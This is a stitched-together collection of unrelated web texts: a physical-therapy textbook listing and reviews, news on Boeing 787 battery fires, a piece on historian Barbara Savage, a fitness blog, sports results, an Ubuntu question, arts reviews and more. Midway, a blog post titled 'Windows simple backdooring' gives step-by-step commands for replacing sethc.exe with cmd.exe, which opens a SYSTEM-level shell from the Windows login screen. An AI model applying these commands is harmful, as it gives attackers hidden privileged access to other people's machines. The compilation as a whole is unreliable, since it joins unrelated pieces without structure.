About the Author
Nancy Berryman Reese, PhD, PT, Associate Professor, Department of Physical Therapy, University of Central Arkansas, Conway, AR; Adjunct Assistant Professor, Department of Anatomy, University of Arkansas for Medical Sciences, Little Rock, AR –This text refers to an out of print or unavailable edition of this title.
An excellent text it basically gives you everything you need to know about manual muscle testing (MMT) and cranial nerve testing. A great thing about this text is that it has a DVD that shows certain MMT so you can better understand how to perform the tests. The text also isolates and identifies what muscles are being tested as well as the nerves being test. I find that very useful. It has tables with normative values as well.
The pictures are beyond helpful. They aren't colorings or drawings, but actual PHOTOGRAPHS of how we're supposed to be testing. Very easy to read and summarizes the most important tips at the very beginnings (i.e. what normal ROM is, where we should be placing instruments, etc). HIghly recommend this product.
We used this book for manual muscle testing and it gave the basics, but had bad stabilization of the patient. We ended up changing a lot of what the book said. It does have thorough information on muscle actions and innervations.
Product Details :
- Series: Muscle and Sensory Testing
- Spiral-bound: 616 pages
- Publisher: Saunders; 3 edition (September 15, 2011)

Boeing has sent a 787 on a test flight, the first since the new airliner was grounded three weeks ago because of a battery fire. The company said the aircraft was flying in and out of Boeing Field in Seattle on Saturday. The plan was to spend 2½ hours in the air. The US Federal Aviation Administration granted permission for test flights on Thursday. The 787 is the first commercial airliner to rely heavily on lithium-ion batteries, the same kind used in mobile phones. Each plane has two of the power bricks - one near the front to provide power to the cockpit if the engines stop and one near the back to start up the auxiliary power unit, which is essentially a backup generator. On January 7, a battery on a plane that had landed in Boston short-circuited and caught fire. Nine days later, a battery on an All Nippon Airways 787 started smoking, forcing an emergency landing in Japan.

Growing up in the South, Barbara Savage was born too late to take part in the great movement that delivered the descendants of former slaves to what the Reverend Martin Luther King called the "Promised Land," the racial equality that was their "rightful place in God's world."
Now a professor of history at Penn, Savage remembers those dramatic and historic events. "The civil rights movement entered our home through the televised images of black churches opening their doors for political rallies and the funerals of martyrs. … I saw Southern black people speaking and singing a language of prophecy and praise that I had come to know in the sacred space of a country church in Virginia … but they were [also] doing things in public that I had never known black people, especially black church people, ever to dare to do."
Savage, the Geraldine R. Segal Professor in American Social Thought, teaches twentieth-century American history, the history of American religious and social reform movements and the history of the relationship between media and politics.
"A preacher and a politician are destined for conflict even when both are African American Christians." - Barbara Savage
We often hear political pundits talk about the central role the black church played in America's civil rights movement, but in her new book, Your Spirits Walk Beside Us: The Politics of Black Religion, Savage states, "there is no such thing as the 'black church.' It is an illusion and a metaphor that has taken on a life of its own, implying the existence of a powerful entity with organized power." Our mistake, she says, is to look back at the whole of African American history "through the haze of a post-civil rights consciousness" that construes black churches as "savior institutions." The truth is far more vexed.
Faced with grinding poverty and discrimination, the black churches—some of the few stable institutions of an oppressed race—were called upon over and over for rescue. But from many corners of the black community, it was at best a reluctant call. "[Throughout] the twentieth century there were spirited debates among varied groups of African Americans about whether religious doctrines, religious people and religious organizations were a blessing or a curse in the struggle for black freedom and racial progress," Savage writes.
Your Spirits Walk Beside Us sheds a light on the crazy quilt of diversity in African American religious institutions and nearly a century of contention over whether they were suitable partners for progressive political activism. Part of the "incurable tensions" that gripped the black community was due to the extraordinary but discordant variety of their churches, from Baptist and Methodist to storefront and African-derived congregations and mosques. Those faith communities were not a monolithic "black church," but independent groups marked by intellectual, theological and political differences. Even the great African American luminaries and leaders of that era—W.E.B. Du Bois, Marcus Garvey, Benjamin Mays, Fannie Lou Hamer, Marian Wright Edelman, Elijah Mohammad and many others—could not agree among themselves on the responsibility of churches on the long march to liberation.
"For all these reasons, the relationship between African American religion and political activism," Savage writes, was "at once complementary and contradictory, full of promise but also damned by exalted expectations."
In her book, Savage "recovers" this long and unresolved debate. She cites the fallout between the Reverend Jeremiah Wright and President-Elect Barack Obama as just one of the "new versions of old tensions between African American religion and politics." During the presidential campaign, Obama sought to distance himself from his religious mentor by calling attention to a generational divide. "Dubbing himself and his followers members of the 'Joshua Generation,' Savage observes, "Obama urged [his supporters] to join forces and shout down the walls of Jericho in a unified and racially diverse campaign." He portrayed the Reverend Wright as holding "static" views that short circuit the promise of racial reconciliation in America. Wright insisted on his vocation as a prophetic minister like Martin Luther King, who challenged the foreign and domestic policies of an oppressive state. "In these and other ways," Savage writes, "a preacher and a politician are destined for conflict even when both are African American Christians."

"Out with the old, in with the new"
Sunday, December 23, 2012
Starting today, 12/23/12, I have made it a goal to blog once a week, to record my progress, all things related, positive AND negative. SparkPeople.com has helped me realize how beneficial it is to keep track of my nutrition and fitness routines. More importantly, I love having the ability to view trends and SEE the numbers. It's not all just jumbled up data in my head anymore, it's clear as day.
About eleven weeks ago, I began changing my existing habits. What I did correctly this go around (have tried to get healthier in the past many a times...) was I went at with patience, and didn't overwhelm myself with trying to change my day to day routine in ONE day.
So to jumpstart my progress, as I am eleven weeks behind on my blogging!:
What I used to do with my day was: Wake up at 07:10AM, have just enough time to get ready for work at 08:00AM, eat whatever food may be on the breakroom table for breakfast, lunch or snack, drink excessive amounts of coffee throughout the day (often times with added sugary liquid creamer), drink hardly any water, go to the grocery store on the way home from work to buy dinner foods, go home walk the dog for 30-40 mins (only exercise I'd get basically) cook dinner, eat quickly, drink juice with dinner, continue to snack throughout the night if I wasn't full after dinner, and then I'd get tired earlier than I'd prefer, and go to bed by 08:30-09:00PM.
My daily routine now consists of: Waking up by 06:30AM, make coffee, wash dishes from dinner the night before, tidy up living room and kitchen, take the dog out to potty, shovel if there's snow!, if no snow then I do a short 10 min SparkPeople workout video, shower, get ready for work, get packed lunches out and ready, go to work, eat KIND bar for breakfast, one piece of fruit for snack, eat packed lunch (at least one serving of vegetables included), drink a few cups of water throughout the day, after work go directly to the gym, do high intensity cardio for 35-45 mins, weight training three times a week, stretch, go home and make dinner (at least two servings of vegetables), eat slowly to savour it!, lots of water with dinner, eat a small serving of something sweet, login to SparkPeople.com to track nutrition, fitness and other goals for the day, pack lunches for the next day, read a book, go to bed by 09:30-10:00PM.
Other things I've added to my weekly schedule include: Intro Spinning Class on Wed evenings & Sat mornings, making a meal planner for the following work week on Saturdays, grocery shop once a week on Sunday mornings.
Things I want to add to my routine: Swim once a week, bootcamp class or TRX once a week once the Spin course is over 01/12/13, start running regularly.
Long term goals: Run a 5k, compete in Alpine run in July '13.
All in all, a lot has changed, and I have accepted this as a way of life, not a quick fix to being a overweight. It has taken me almost twelve weeks to slowly incorporate all of the new habits, which has made adjusting a breeze. It hasn't been difficult because I feel like one good habit led to another (i.e. going to the gym before dinner made me not want to stuff my face aftewards!) I feel way more productive every day, and I am way more optimistic about life and where I'm going with it. I am enjoying this new outlook on life!

The newest celebrity death hoax is currently making the rounds on the Internet, and people just can't seem to catch on. For some reason, there are so many people that will never realize that Empire News is a website that always brings forth fake news just as they reported on Sept. 3, 2014, that Betty White died. Well, the Betty White death hoax is a bit more obvious since it says that she "dyes" peacefully.
Betty White, the last remaining "Golden Girl" is still currently alive and well at the age of 92.
Empire News stated that her long-time manager Jeff Witjas actually confirmed that White - wait for it - is "not a natural blonde." As The Bull pointed out, the site even put in fake quotes from people, including White.
"Oh, I started dying it ages ago when my color started to fade away to a more whiteish, greyish color," says White. "I thought to myself, 'Well Betty, if you can't have the dark color anymore, might as well try on the blonde for a while,' and it just kind of stuck. When I played Rose on Girls, the joke about my natural hair color made it into several episodes. I've always had a sense of humor about it."
Perhaps the worst part of all this is that Empire News doesn't ever actually report that Betty White has died. They stand by the fact that she "dyes" her hair peacefully in her Los Angeles home. Blame can't really be put on Empire News, but more so on those that don't know the difference between "die" and "dye."
Grammar can save lives.
The "Hot In Cleveland" star is doing fine and has no intentions of retiring from acting or her numerous other projects any time soon.
The Betty White death hoax is just the latest in a long line of celebrity death hoaxes that in recent years have included Morgan Freeman, Bill Cosby, Wayne Knight, Reese Witherspoon, Rihanna, and so many others.

Sept. 29, 2000
TEMPE, Ariz. -- Former Arizona State University baseball standout Willie Bloomquist was recently named a second-team minor league baseball all-star by Baseball America.
Bloomquist, who starred for Pat Murphy's Sun Devils from 1997-99 as a shortstop and hit .394 for his career at ASU, split his 2000 professional season between the Single-A Lancaster Jethawks (California League) and Triple-A Tacoma Rainiers (Pacific Coast League).
The Port Orchard, Wash., native was drafted by the Seattle Mariners in the third round of the amateur draft following his junior campaign at ASU. Bloomquist capped his illustrious Sun Devil career by being named the Pac-10 Player of the Year and a consensus All-American in 1999.
Between the Single-A and Triple-A levels in 2000, Bloomquist hit a combined .313 with 24 doubles, seven triples, three home runs and 74 RBI. The second baseman was also voted as a first-team Single-A all-star for his .379 performance with Lancaster and was recently named the top prospect in the Seattle Mariners organization by USA Today.
Bloomquist is back in Tempe this offseason finishing his degree at Arizona State and will be playing for Peoria in the Arizona Fall League that opens play Oct. 4 around the Valley.

No. 2 Wildcat Men Fall Short vs. No. 1 Texas
TUCSON, Ariz. - The second-ranked Arizona women's squad captured five of six events in both the morning session and afternoon session, helping them run away from No. 12 Texas by a score of 247-106 today at Hillenbrand Aquatic Center. The win moved the Wildcats to 8-2 overall, while UT fell to 2-5. Meanwhile, the No. 2 Wildcat men fell short in their bid to upset top-ranked Texas, falling 206-147. Arizona fell to 5-2 overall with the loss and Texas remained undefeated in dual-meet action, improving to 7-0.
In other action today at Hillenbrand Aquatic Center, the Texas women defeated the No. 18 Arizona State women, 190.5-162.5 and the Texas men defeated No. 11 ASU, 206-147.
For Arizona, three Cats won two events each and UA captured both relay events that were contested on Saturday to help them record their fourth victory of the year against a Top-25 team. In her final appearance at Hillenbrand Aquatic Center senior Trina Jackson was victorious in both the 100 fly (2:04.87) and 1,650 free (16:41.16) helping to build a 93 point lead after the completion of the first two sessions.
Also strong for Arizona was the freshman duo of Amanda Beard and Beth Botsford. Botsford notched first-place finishes in the 100 back, with a time of 56.11 and 200 back (2:00.40). The wins allowed Botsford to remain undefeated in both those events as she pushed her record this year to 11-0 in each event. Beard was victorious in the 100 breast (1:04.58) and 200 breast (2:14.81) and joined Botsford on the first-place 200 medley relay team (1:44.33).
For the Wildcat men senior Ryk Neethling closed out his amazing career at the Hillenbrand Aquatic Center by cruising to victory in the 1,650 free and the 200 free. In the mile, Neethling dominated the field from the start and finished in a time of 15:02.88, over 27 seconds ahead of his nearest competitor. In the 200, Neethling clocked a first-place time of 1:38.04, bettering that of teammate, junior Jay Schryver, who finished second (1:39.04).
Other Arizona event winners on Saturday included sophomore Roland Schoeman (100 free; 43.99) and freshman Jeff Dash (200 fly; 1:47.09).
Both Wildcat squads finish up their dual-meet season on Feb. 12 with a trip to the Mona Plummer Aquatic Center in Tempe, when they face off against their arch-rivals, the ASU Sun Devils, beginning at 1:00 p.m.

Whats the recommended way of setting keymaps loading on Ubuntu 10.10?
I have tried
dpkg-reconfigure console-data but it doesn't seem to work. Neither does edit of /etc/default/console-setup
loadkeys <keymap> works fine and I could load it myself, but where is the recommended place to store it?
I'm using a virtual appliance from bitnami so perhaps it's tweaked a little.

Windows simple backdooring
I remember reading this ages ago, and a couple of weeks ago I decided to give it a try.
I was amazed to see not only that this works, but that it even works on Windows7. Granted you do need some extra steps to make this happen in the later.
What I'm talking about is a very simple way to backdoor a Windows system.
To backdoor the system you will need Administrator access to it. For WinXP/2000/2003 you need to do the following. Start cmd.exe and:
> move c:\windows\system32\sethc.exe c:\windows\system32\sethc_old.exe
> copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
In Win7 you need a few extra steps (system32 is finally not world writable). Run as administrator cmd.exe and:
> takeown /f c:\windows\system32\sethc.exe
> cacls c:\windows\system32\sethc.exe /G user:F
> move c:\windows\system32\sethc.exe c:\windows\system32\sethc_old.exe
> copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
That's it. You've successfully backdoored the system.
All that is required to access the backdoor is RDP/physical access to the system.
Upon receiving the login window, you just need to press shift a few times so that your modified sethc.exe is executed. As an added bonus the command prompt that will run will be running with 'nt authority\system' permissions.
No trackbacks yet.

Hardware or software?
Joe Barr <k1gpl <at> linuxhamshack.org>
I've been having a tough time getting started with Hamlib and my Kenwood TS450S. I seem to be getting spurious and yet not spurious data from the rig, and sometimes apps like fldigi and grig can query the frequence and sometimes they can't. Typically, when I first connect the rig and the PC, the rig appears to send a single character "?" and rigctl tries to interpret it as the response to the IF command. Sometimes a second IF query will get a correct response and grig or fldigi will then display the freq from the rig, sometimes not. I also see rigctl complaining about improperly terminated commands, I guess meaning, they don't end with an ";". I've used slsnif and a couple of other serial port sniffers and they all show the same data coming from the rig as rigctl does with lots of -vvv's. I'm wondering now if the problem may be one of flaky rig communications. Anyone have any thoughts on this?

Gapper was the fourth mascot added to the Cincinnati Reds lineup in 2002, initially introduced as a furry companion to Mr. Red.
Gapper was created by Raymond Entertainment Group, the founder of which was the man inside the Phillie Phanatic costume from 1973 to 1993.
A young fan submitted the winning name for the mascot, which comes from the gap in the seats of Great American Ball Park that provides a view into and out of the stadium. That fan received two season tickets for the winning entry.
The actual term "gapper" is jargon for a hit that falls into the gap between outfielders.
Mr. Satin appears on The Fifth Mascot, a show about all things Cincinnati Reds that airs LIVE every Thursday at 2 p.m.

The Midwest isn't just about commerce switching hands traveling to the Atlantic or Pacific Ocean. It's also about culture trying to find a new level, and a new life. Congo square is a far walk from the City of Chicago. A place of union and music for enslaved black bodies in Pre Abolition America, Congo Square became the birthplace of true original American music. The spirit of that movement pollenated through the channels of the Great Migration, settling in Chicago in the early 1900's. Muddy Waters and Benny Goodman injected the blues and ragtime of the South with electricity and classicism, presenting it to the masses .
Muddy Waters, aka McKinley Morganfield, was a Southern grown migrant who drove himself into stardom by coming to the Midwest. His combination of Delta Blues and electric guitar formed Rock and Roll, the sound that controlled the air waves from the 1960's British Invasion into our relevant society. Proof of this can be seen in Waters' song, "Rolling Stone". Two iconic Rock and Roll organizations have adopted the name of that song honorably: Rolling Stones Magazine and the Liverpool based epic band, the Rolling Stones.
Benny Goodman, a Jewish clarinetist, became White America's poster boy for the Jazz genre, Swing, a development with roots in Ragtime. Goodman's publicity and ability to fill up venues, such as Carnegie Hall gave the majority of America a reason to approve of Jazz. A Chicago native, Goodman went pro before he went to high school. His leadership in a segregated era gave the U.S. a theme song for the 1920's.
Out of jazz came Herbie Hancock, a Chicagoan who played with Miles Davis, in his Cool years, and went on to become a star in his own right. The genius of Hancock backed several groundbreaking elements to modern music. The composer of the Fat Albert sound track, Hancock was one of the first artist to have a video played on MTV when MTV actually played videos. His electronic innovator called "Rockit" featured on the 1983 album "Future Shock" became a favorite among break dancers.
Whether it's Herbie Hancock, easing the early 80's into the Hip Hop transition, or Bo Diddley doing NIKE Cross trainer commercials with Bo Jackson, Chicago is a Mecca of American and World music. This city is where sound comes to find its maturity. To discover more about how the Second City makes its music please click on the links below.

This week's DWTS elimination was a little different than usual. If you missed any of Monday's Dancing With The Stars 2014 (season 18 week 3 episode), you can play catch-up here below.
DWTS Elimination Results: Celebrity Contestant Leaves Show for Medical Reasons
Actor Billy Dee Williams, well-known for playing Lando Calrissian in the original "Star Wars" trilogy, had to leave Dancing With The Stars Season 18 on March 31, not because he was voted off, but because his doctors recommended it.
The 76-year-old (soon to be 77, with his upcoming birthday on April 6) has chronic back pain and has had two hip replacements in the past, so everyone knew to expect a slightly slower pace and less-complicated routines than we're used to seeing from the younger dancers. Now, his doctors have advised him to stop dancing entirely and suggest some serious rest to avoid injuring himself.

Billy wisely took their advice, withdrawing from competition early in the DWTS 2014 week 3 episode.
After Billy Dee bowed out, there was no need for a standard DWTS elimination this week. Find out which couples danced which styles and get their March 31 scores in our full Dancing With The Stars 2014 recap here now.

SSTL used the MicroSat-70 platform for missions ranging from 50 to 70 kg total mass. It employed an adaptable, modular design capable of supporting a wide range of missions, with payloads of up to 25 kg.
Mechanically, the MicroSat-70 consisted of a stack of modular trays, containing all avionics and some of the payload electronics. These trays formed the mechanical structure of the spacecraft, providing a very efficient use of the internal volume. Above the main module stack was a payload bay dedicated to the mission payloads.
The MicroSat-70 was compatible with an extremely wide range of launch vehicles, and was successfully launched on Ariane-4, Zenit, Kosmos, Tsyklon, Athena and Dnepr.
Within its efficient, proven mechanical structure, the MicroSat-70 carried a customized complement of avionics selected from SSTL's extensive range of flight-proven systems. Typical avionics configurations featured dual redundancy of all key systems, with options for data storage, data processing and downlinking on various frequencies to meet mission requirements.
The platform could be configured for nadir pointing or inertial pointing missions, using momentum bias, zero bias, or gravity-gradient actuators.
The MicroSat-70 supported earth observation, communications and technology demonstration missions for civil and military use. It was available through the NASA Rapid Spacecraft Development Office catalogue for extremely rapid procurement by U.S. government agencies.
Gross mass: 70 kg (154 lb).
Payload: 25 kg (55 lb).
First Launch: 1990.01.22.
Last Launch: 2001.09.30.
Number: 14 .
Healthsat - II joined UoSAT-3/HealthSat-I as the second microsatellite in the HealthNet global communications system of SatelLife, a U.S. not-for-profit organisation. HealthNet, which was licensed in eighteen countries in Africa and Latin America, was providing desperately needed low cost 'last mile' communication links between medical institutions and health programmes in the developing world.
The HealthSat-II mission was completed, from concept to launch, within one year. SSTL were responsible for all the programmatic aspects of the mission including procuring the launch slot on the Ariane ASAP and arranging suitable insurance for the launch and early commissioning phase - all within a total contract price of �1M.

Editor's Note: No race today represents the heart and soul of NASCAR and stock car racing as much as the Daytona 500. We offer the following two stories in recognition of Feburary's 50th running of this historic event.
There came a blizzard to the nation's capital in the winter of '33. Bill France loaded up the car, put out the fire, and headed south.
Some claim he ran out of gas and money in Daytona Beach, and began work at a service station he later owned.
Anyway, his trip from Washington to Daytona Beach has left some mighty big tracks from sea to shining sea.
France did so much to bring stock car racing from the ragged ridges of the southern mountains to the cities that it would take volumes to tell all the stories. But that is not what we're here to talk about today.
We know he raced, organized the old beach and road course in Daytona, and then went about forming a sanctioning body for racing, called NASCAR.
But our sermon today, folks, is about the Daytona 500. We're coming up on the 50th Daytona 500 this February. You know, the one that the great Ken Squier, of television fame, refers to as "The Great American Race." It could not be said better, nor with a better voice than Squier's.
The old man fishing off Port Orange bridge looked up at the clouds from the approaching thunderhead and remarked: "That air France man's gonna keep messin' with them old racecars 'till he comes up with somethin' big, really big."
Inland a couple of miles and right alongside Volusia Avenue, unknowing to a few down on the beach, huge Catepillar dirt moving machines, aka the Big Cats, were cleaning up the swamps, pushing up stumps so that the land could dry.
Finally, the roar began right after church services on the first day of February in 1959. It rolled down Volusia toward the Atlantic Ocean like one of those violent summer storms.
"Listen," said Big Bill France, "it's the sound of the future."
The ShowThis was France's dream, to build the ultimate, high-banked race course, one even larger and more modern than the venerable and world famous Indianapolis Motor Speedway.
In 1958 he named his creation Daytona International Speedway, and now, nearly a year later, it was time to wake up and smell the high octane. On this Sunday afternoon, the awesome rumble and whine of high-powered engines pumped life into what some skeptics had referred to as France's pipe dream.
This was the first day for cars on the new 2.5-mile track.
Among those making shakedown runs were Glenn "Fireball" Roberts. He drove a modified Ford to 145.7 miles per hour. Then Curtis Turner drove a Ford Thunderbird to a speed of 143. France couldn't stand it any longer. He jumped into the pace car, a Pontiac, and ran 114 miles per hour.
The track, however, needed more work, so France closed the doors for another week, and announced the official opening the next Saturday, February 7.
France's plans included a 500-mile race for his NASCAR Grand National cars and Convertible Division cars. There would be two preliminary races of 100 miles each. They would be point races and would determine starting positions for the 500. One of the 100 milers would be for NASCAR Grand National cars, and the other 40-lap feature for Convertibles. He also scheduled a 200-mile Modified-Sportsman race for Saturday, a preliminary to the 500.
As qualifying time drew close, only 13 drivers were registered to qualify in the Grand National event, and six of the cars failed inspection. A good bit of the trouble was that the drivers were afraid of the place. They had never seen a racetrack so large where cars ran so fast.
About 6,000 fans showed up for qualifying. Only seven cars ran against the clock. Roberts captured pole position for the 100-mile qualifying race. He qualified at 140.581 mph. Tim Flock, in another Ford, ran 138.121 mph. Joe Weatherly, driving a Chevrolet, ran 137.741. Jack Smith drove a Chevrolet at 136.425, and Bobby Johns, in a 2-year-old Chevy, rounded out the top five at 126.528. Tom Pistone was Sixth in a Thunderbird and Bob Welborn Seventh in a Chevrolet.
After the first wave of cars qualified without a problem, a long line of drivers registered for second- and third-round time trials.
For the qualifying race for Convertible Division cars, which would race with the Grand National machines in the very first Daytona 500, Marvin Panch qualified a Glen Wood-prepared Ford "ragtop" at 128.810 mph, and Gene White ran a 1957 Chevy at 120.048 mph. Of the 59 cars that started the first 500-miler, 20 were convertibles.
Welborn, averaging 143.198 mph, won the 100-mile Grand National qualifying race and started from the pole in the first 500. Lloyd "Shorty" Rollins won the 100-miler for Convertibles. He started Second in the 500.
The track's first fatality occurred on Wednesday (February 11) of the week leading up to the big race. Local driver Marshall Teague, driving an Indianapolis-type car, died in a crash trying to set a world record.
The 500 would be a historic event. Mechanical failure sidelined some early runners, and as the race began to wind down, two hard chargers-Lee Petty and Johnny Beauchamp-emerged as the only two drivers in the lead lap. A dozen times they swapped the lead in the final 125 miles. The crowd of 42,000 realized it was coming down to the wire between Petty's Oldsmobile and Beauchamp's Ford.
There was confusion at the finish, and the deciding factor was a newsreel film France received. After looking at it, he made a decision, and on Wednesday, three days after the race, announced Lee Petty the winner of the race and $19,000 in prize money. For the 500 miles, Petty averaged 135.521 miles per hour.

BARCELONA -- While sharing
an interest in stylish works that integrate movement, video, and
impeccable performance, Tricicle and Mudances, both currently wooing
audiences with their experiments in form, provide a good example
of the wide spectrum of performance available here in Barcelona
during the first part of 2003.
The region of Catalonia
has long been an incubator of contemporary performance, with a surge
of collective creative energy in the 1970s and '80s that resulted
in the establishment of local groups. Barcelona nurtured local talent
with the influence of guest teachers from Ballet de Marseilles and
the London Contemporary Dance School, while young theater artists
learned from the theater-to street experiments of Joan Font and
Els Comediants. In the 1990s, struggles with funding caused many
artists and choreographers to leave the region and spread throughout
Europe to pursue other opportunities. The most stalwart artists
have stayed, carving out a niche for themselves through necessary
and relentless self-promotion and touring throughout Spain with
successful works.
Carles Sans, Paco Mir
and Joan Garcia came together in 1979 to create Tricicle, a now
widely known clown-mime-theater group which is presenting its latest
work for the stage, "Sit," at the Teatro Victoria. Mudances, founded
and directed by Angels Margarit, celebrates its 18th anniversary
this year and has gained a reputation for work that skillfully draws
from a sense of female identity. Tricicle is more widely known and
commercial, enjoying a popularity that rides on hefty doses of humor
and a big public- relations engine (posters advertising the show
pop out from every corner in the city). Mudances has been a mainstay
of the Barcelona community, linking up with L'Espai, the only major
venue in the city that consistently features dance, to present "Origami,"
Margarit's first work created specifically for young audiences.
Tricicle's "Sit" is
a silly as silly can be survey of the simple act of sitting.
A packed house was introduced
to Tricicle through a grainy black and white film starring the three
middle-aged performers as the inventors of various ill-fated designs
throughout history. A steady stream of giggles filled the air while
the trio explored some spectacular oddities known as chairs and
the problems sometimes encountered when trying to deposit one's
posterior in one of these objects. I zoned out for a moment when
I thought of how many schemes, tricks and plans have been cultivated
while sitting and the hours that are consumed when a chair envelopes
our body so our eyes can work, soaking up the action. If you are
wondering whether Tricicle's take on the object included the conventional
clown tricks of pulling a chair out from under someone, putting
a foot through the seat of a chair or smashing a chair over someone's
head -- well yes, it's all here as well as saddles, lawn chairs,
dentist's chairs, toilets, and bidets. Yet Tricicle, with great
timing, physical prowess (particularly the wiry, rubbery, and suave
Paco Mir) and rapport among the performers and with the audience,
has a way of broadsiding onlookers with humor so all they can do
is laugh. While overall, an hour and 40 minutes was too long to
take in, I was enamored of the three men trying to dance a tango
and playing a complicated game of musical chairs with themselves
as seats, while four glimmering, silver lame chairs spun dizzily
in the background.
Angels Margarit enveloped
her 55-minute work for children in the concept of origami, slowly
revealing through a series of apertures a world of color and motion.
Margarit says the piece has grown from her interest in bringing
dance to young people, particularly boys. This is a visually challenging
and richly textured work that will get young (and older) minds musing
about the relationships created when opposite ends meet and edges
are defined. Margarit has scaled back her company to two men and
two women (Eneko Alcaraz, Vera Bilbija, Isabel Lopez and Marc de
Pablo), yet she effectively doubled the size of the ensemble by
augmenting the performance with Nuria Font's video. It is this collaboration
of live and projected action that is the most engaging aspect of
the work.
"Origami" began with
a continuous flow like the pouring of water, when Vera Bilbija,
in a red dress, scalloped her way across the floor on her knees,
framed by a large rectangle moved along the edge of the stage by
Isabel Lopez, in silhouette. Marc de Pablo and Eneko Alcaraz, dressed
in Ariadna Papio's bulbous, thick white costumes, rolled across
in a simple, sustained contact duet. They resembled people inside
rolls of toilet paper, yet the interesting shape and density of
the costumes was not explored fully. When we saw Alcaraz begin to
toss himself about, softly landing around the stage, the costumes
turned endearing, but the intent became confused when the dancers
took on monkey-like characteristics.
Throughout the intersection
of live dancers on stage and those on video, the images of movement
were folded out in front of us, like paper dolls stretched out in
brilliantly saturated colors. The score by Joan Saura is a pleasing
mix of techno bob and natural sounds, smoothly bridging the transitions
between sections. The quartet of dancers enticed when they were
reduced, replacing and consuming each other in the space. Yet too
soon it was a play-fight, with repetitive stop and go action ("Game
over- deposit quarter") and the partnering was too reminiscent of
Pilobolus's experiments with reciprocal actions. Break-dancing is
the ubiquitous form tossed into performances for children these
days, although here Margarit won with a brief interlude that effectively
captivated: Alcaraz was boxed within a sumptuous blue light by designer
Ernesto Fois after sharing the stage with a video of shadow images
of people running (why show this twice?). Alcaraz seemed to be pushed
through the light, and began a solo in which he was folded in upon
himself and turned inside out by some outside force. His movements
were sinuous, and the care of matching up the corners of his body
while turning out his core clearly echoed Margarit's conceptual
interests and gave a glimpse of physical virtuosity. As the work
ended, the dancers were framed by a slide of rapidly changing colors,
and swirled through the space on a diagonal. Seeing their obvious
beauty and skill as dancers, I wished for Margarit's strong, visually
intelligent hand to reach in and shape with more care their dancing,
as she had so ingeniously crafted the musical and visual interludes
throughout the work.
Public enthusiasm for
contemporary performance bodes well for companies from Barcelona.
Keep an eye out for the growth of performance and dance in Catalonia,
including the work of Dies de Dansa, an international festival of
dance utilizing the tantalizing architecture of Barcelona to present
dance in urban landscapes each July, and performances at the prestigious
Teatre Nacional de Catalunya, which continues to add dance to its
schedule, in the Salas Petit workshop space.
Tricicle presents "Sit"
at the Teatre Victoria through April 13. Mudances presents "Origami"
at L'Espai until February 2.
Julia Ritter is an assistant professor of dance at Mason Gross
School of the Arts at Rutgers University. She is working through
a Fulbright Scholar Award in Germany for 2002- 2003 and is the artistic
director of Julia Ritter Performance Group.

There's been some hit and miss when it comes to certain comedies hitting the big screen. Normally they will show you the funniest parts in the movie trailer and when you see the actual film it is the complete opposite. Or, better yet, the footage you saw in the trailer is nowhere to be seen in the actual film. Little did we know, one comedy that hardly got any promotional attention topped this weekend's box office, taking the superhero flick "Captain America: The Winter Soldier" from its throne.
Today, Forbes reported that comedy "The Other Woman," reasonably topped the box office with a solid $24.7 million. The comedy follows three women; the girlfriend, the wife, and the mistress (played by Cameron Diaz, Leslie Mann, and Kate Upton, respectively), who all find out they're being betrayed by the three-timing spouse, played by TV's "Game of Thrones" star Nikolaj Coster-Waldau. Once they all find out what was going on, they decide to team up and cause some havoc. Sounds like a typical chick flick movie.
Yahoo Movies also reports that the movie exceeded both moviegoers' and studio (Fox) expectations about the film; it was speculated that the film would gross only in the high teens at the box office. Critics were also not impressed with the film, giving it an overall very low rating -- in fact, the film only garnered 25 percent of positive reviews on Rotten Tomatoes (do audiences really care what critics thinks about certain films?). Reports says that three quarters of female and 65 percent over the age of 25 gave the film a decent "B+" grade on CinemaScore.
Spencer Klein, senior vice-president and general sales manager at Fox told TheWrap that the "girl power" movie is something that moviegoers been waiting to see. "I think audiences were clearly ready for a movie like this," Klein said. "The three female leads were a huge draw."
Maybe "girl power" was the key for getting people to check out the film, and allowed Fox to broaden their audience before the big screen becomes invaded with summer superhero flicks, starting with Sony/Marvel's "The Amazing Spider-Man 2" which opens in theaters this Friday. It is always nice to have a nice decent comedy before the real action begins with popcorn films of the summer.
The "Captain America" sequel fell to the second spot on the chart by bringing in $16 million, but grossed over $645 million globally.
So are you looking for a good laugh? Does this movie live up to what people expect it to be, or does this movie remind you to another similar movie titled "Chasing Papi" starring Roselyn Sanchez and Sofia Vergara. After a while, comedies are almost the same.

Spain's San Fermin festival is well known for its annual crop of gorings during the bull-running, but sex crimes are a less-publicised problem.
The most striking image of Spain's drought, that has forced Barcelona to ship in water, has been that of the underwater church which emerged from a drying dam. For most of the past four decades, all that has been visible of the village of Sant Roma has been the belltower of its stone church, peeping above the water beside forested hills from a valley flooded in the 1960s to provide water for the Catalonia region.

Bulls are banking on Lloyds recovery
Chris McKhann | email@example.com
optionMONSTER's Heat Seeker monitoring system detected a surge of volume in the July 2 calls, with some 3,000 contracts purchased for $1.35. Volume is 14 times open interest at the strike, indicating that new positions were initiated.
LYG is up 0.16 percent to $3.23 in morning trading. The London-based bank lost more than 90 percent of its value in the 2008 market crash and has been trading in a range ever since. The stock has been starting to recover this year and more than doubled since Jan. 1, though it is still trading for less than book value.

While reflecting on the untimely death by overdose of Adam Goldstein, AKA "DJ AM," we decided to do a post dedicated to all you fledgling scratchers out there. DJ AM called On the Record: The Scratch DJ Academy Guide ($12) the "...bible that covers every aspect of DJ culture." From beat matching to battles, clubs to private parties, and all the history of the deejaying world, you'll covet this book as a reference guide.
And, for the record: drugs are never worth it. Crack really is whack, people.

As the latest venture of Dorothy Mitrani-Bell owner of La Note, Clem has a very polished and Parisian feel to it. The menu is simple and true to its French roots, with fresh baguettes, croissants and soufflé eggs but baked goods are California organic. Breakfast and lunch items are offered with small café style seating perfect for cozy gatherings but not so convenient for large groups. Lines and food comes out hot and fast and on crowded or warm days, heavy vintage fans keep the air inside moving.
The patio is right beside the library but comfortably sectioned off and very tranquil with the rear running fountain of the nearby apartment building. This area also receives a hefty amount of sun but ample shade is thoughtfully provided.
Whether staying for a quick bite or for a couple of hours Café Clem welcomes you with a gentle Parisian bustle. Prices are fair on food items but can run high on the many tempting baked ones. By their late afternoon closing time menu choices start narrowing but employees are always ready with helpful recommendations. A growing art collection is also on view above the ordering area and of course a photo of Mitrani-Bell's Great Grandfather, a proud looking Chef de Cuisine with his staff, a man who has probably offered some true hospitality, and passed it on to future generations.

